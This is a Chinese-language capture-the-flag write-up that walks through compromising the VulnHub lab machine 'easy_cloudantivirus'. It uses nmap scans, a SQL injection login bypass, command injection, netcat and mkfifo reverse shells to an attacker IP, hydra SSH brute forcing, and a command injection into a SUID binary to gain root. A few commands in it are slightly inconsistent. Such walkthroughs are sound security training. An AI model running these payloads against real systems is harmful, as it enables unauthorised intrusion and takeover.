摘要
0x1
靶机:192.168.88.13(靶机下载地址:https://download.vulnhub.com/boredhackerblog/easy_cloudantivirus.ova)
攻击机:192.168.88.8
每周六都会跟着苑老师学习一片打靶课程, 然后做一篇writeup。废话不多说,开干!!
我的靶机安装在virtualbox上,攻击机使用的是kali,安装在vwmare上。使用的是桥接。链接到手动创建的虚拟机网卡上。只要在同一网段即可!
打开kali,使用arp-scan -l 命令扫描本网段的机器。发现靶机的地址:192.168.88.13
然后使用nmap -sT -Pn -p- 192.168.88.13 命令探测靶机开发的端口游戏那些,发现开放了22 、8080端口。
继续使用nmap -sT -Pn -p22,8080 -sV 192.168.88.13探测这两个端口都开放了什么服务
发现开放的是ssh和http服务。打开浏览器访问8080,发现是一个简单的登陆页面,尝试提交随意数据,并使用burp截断,查看并没有发现什么异常。使用introducer功能提交数据,发现提交"字符有报错异常!
很明显是一个sql语句: select * from code where password=" ' + password + ' "。从这句语句可以看出存在sql注入,因为报错提示,后面的引号没有闭合,导致语句出错。所以接下来就直接构造语句,看能否登陆上。构造语句为: select * from code where password = " or 1=1--空格 把后面的引号注释掉,发现直接登录上了
这个页面是一个反病毒云扫描页面,也就是说输入文件名,点击scan,可以扫描当前文件是否为病毒文件。尝试了几次,猜测这里可能是在命令行模式下,开启某个进程进行扫描服务,类似命令:xxxx file。 那么可以怀疑这里存在命令注入漏洞,尝试插入其他命令,看是否有不同的信息返回。输入 hello | id
执行完命令后,这里正确返回了后面的id命令。 这时可以利用这个漏洞使用nc命令反弹shell,反弹到kali。 这里使用hello | nc 192.168.88.8 3333 | /bin/bash | nc 192.168.88.8 5918 解释下:这里本来可以使用nc -e命令,但是尝试后发现靶机上的nc不支持-e参数,所以使用管道拼接(这是苑老师课程中提到的)命令。也可以使用使用rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.88.8 5918 >/tmp/f 这段命令。只要能正确返回都可以。
执行后拿到shell。继续在靶机上收集信息,看看有没有密码之类的敏感文件。然后直接用ssh登陆上去,或者直接提权到root用户。看到靶机上当前目录下有一个database.sql文件,明显是一个sql文件,将文件传到本地,使用sqlite3命令查看sql文件中的内容
创建一个code表,插入password字段,字段内容有4行。然后查看当前系统都有哪些用户,可以利用这些用户和这个密码来暴力登陆ssh(使用hydra命令)。
1.cat /etc/password | grep /bin/bash 只看可以登录后又shell的用户
命令:hydra -L user.txt -P password.txt ssh://192.168.88.13
执行后,并没有发现有效的密码和用户名组合,这条路行不通了;继续回到靶机收集其他信息。查看上级目录发现有个可执行文件,并且是带有s属性的可执行文件。我们知道,文件带有s权限,说明在执行的时候是使用文件拥有者的权限或文件拥有者所在组的权限在对文件进行执行。这里也看到了文件的拥有者是root,并且下面还有可执行文件的源代码文件。这里只要我们正确的执行了这个文件,并且有效的利用它,就可以提权了。
将update_cloudav.c文件下载到本地,查看源代码发现只是一个简单的命令执行,命令执行了/usr/bin/freshclam + 参数 。我们不用管freshclam能够完成什么功能,根据源码知道它需要一个参数即可正确执行。而且没有对参数进行严格的过滤。所以这里扔能利用命令注入漏洞,来反弹shell。
这里一旦执行了shell反弹,反弹的shell就拥有了root权限。
执行命令:./update_cloudav "a | nc 192.168.88.8 5555 | /bin/bash | 192.168.88.8 6666"
最后拿到root权限。
总结:过程中用到的工具以及方法
1.主机发现 arp-scan -l
2.端口扫描/服务发现 nmap -sT -Pn -p- 192.168.88.13 / nmap -sV -sT -Pn -p22,8080 192.168.88.13
3.sql注入/密码爆破 select * from code where password= " or 1=1--空格
4.命令注入:hello | nc 192.168.88.13 5555 | /bin/bash | nc 192.168.88.13 6666
5.信息收集/ssh爆破: database.sql 文件 hydra -L user.txt -P password.txt ssh://192.168.88.13
6.suid提权:利用拥有suid权限的文件进行提权